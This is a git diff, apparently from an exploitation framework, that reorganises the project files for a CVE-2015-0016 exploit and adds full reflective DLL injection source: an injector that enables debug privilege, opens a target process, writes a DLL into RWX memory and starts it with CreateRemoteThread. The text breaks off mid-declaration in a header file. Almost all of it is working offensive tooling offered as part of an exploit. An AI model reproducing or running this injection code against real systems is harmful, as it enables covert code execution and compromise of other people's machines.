<Optimization>MaxSpeed</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OutputFile>$(OutDir)inject.arm.exe</OutputFile> + <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies> + </Link> + <PostBuildEvent> + <Command>copy ..\ARM\Release\inject.arm.exe ..\bin\</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <OutputFile>$(OutDir)inject.x64.exe</OutputFile> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX64</TargetMachine> + </Link> + <PostBuildEvent> + <Command>copy ..\x64\Release\inject.x64.exe ..\bin\</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="src\GetProcAddressR.c" /> + <ClCompile Include="src\Inject.c" /> + <ClCompile Include="src\LoadLibraryR.c" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="src\GetProcAddressR.h" /> + <ClInclude Include="src\LoadLibraryR.h" /> + <ClInclude Include="src\ReflectiveDLLInjection.h" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters similarity index 57% rename from external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters rename to external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters index fe135862f2..418896d025 100755 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters @@ -1,39 +1,35 @@ -<?xml version="1.0" encoding="utf-8"?> -<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> - <ItemGroup> - <Filter Include="Source Files"> - <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> - <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> - </Filter> - <Filter Include="Header Files"> - <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> - <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions> - </Filter> - <Filter Include="Resource Files"> - <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> - <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> - </Filter> - </ItemGroup> - <ItemGroup> - <Text Include="ReadMe.txt" /> - </ItemGroup> - <ItemGroup> - <ClInclude Include="stdafx.h"> - <Filter>Header Files</Filter> - </ClInclude> - <ClInclude Include="targetver.h"> - <Filter>Header Files</Filter> - </ClInclude> - </ItemGroup> - <ItemGroup> - <ClCompile Include="stdafx.cpp"> - <Filter>Source Files</Filter> - </ClCompile> - <ClCompile Include="cve-2015-0016.cpp"> - <Filter>Source Files</Filter> - </ClCompile> - <ClCompile Include="dllmain.cpp"> - <Filter>Source Files</Filter> - </ClCompile> - </ItemGroup> +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="src\GetProcAddressR.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\Inject.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\LoadLibraryR.c"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="src\GetProcAddressR.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\LoadLibraryR.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\ReflectiveDLLInjection.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> </Project> \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c new file mode 100755 index 0000000000..ef96dcbfbe --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h new file mode 100755 index 0000000000..4f5170c31d --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/Inject.c b/external/source/exploits/cve-2015-0016/inject/src/Inject.c new file mode 100755 index 0000000000..a7f4a2fee3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include <windows.h> +#include <stdio.h> +#include <stdlib.h> +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef WIN_X64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c new file mode 100755 index 0000000000..db73903ff7 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c @@ -0,0 +1,234 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +#include <stdio.h> +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef WIN_X64 + DWORD dwCompiledArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwCompiledArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwCompiledArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwCompiledArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h new file mode 100755 index 0000000000..d8419858a9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE 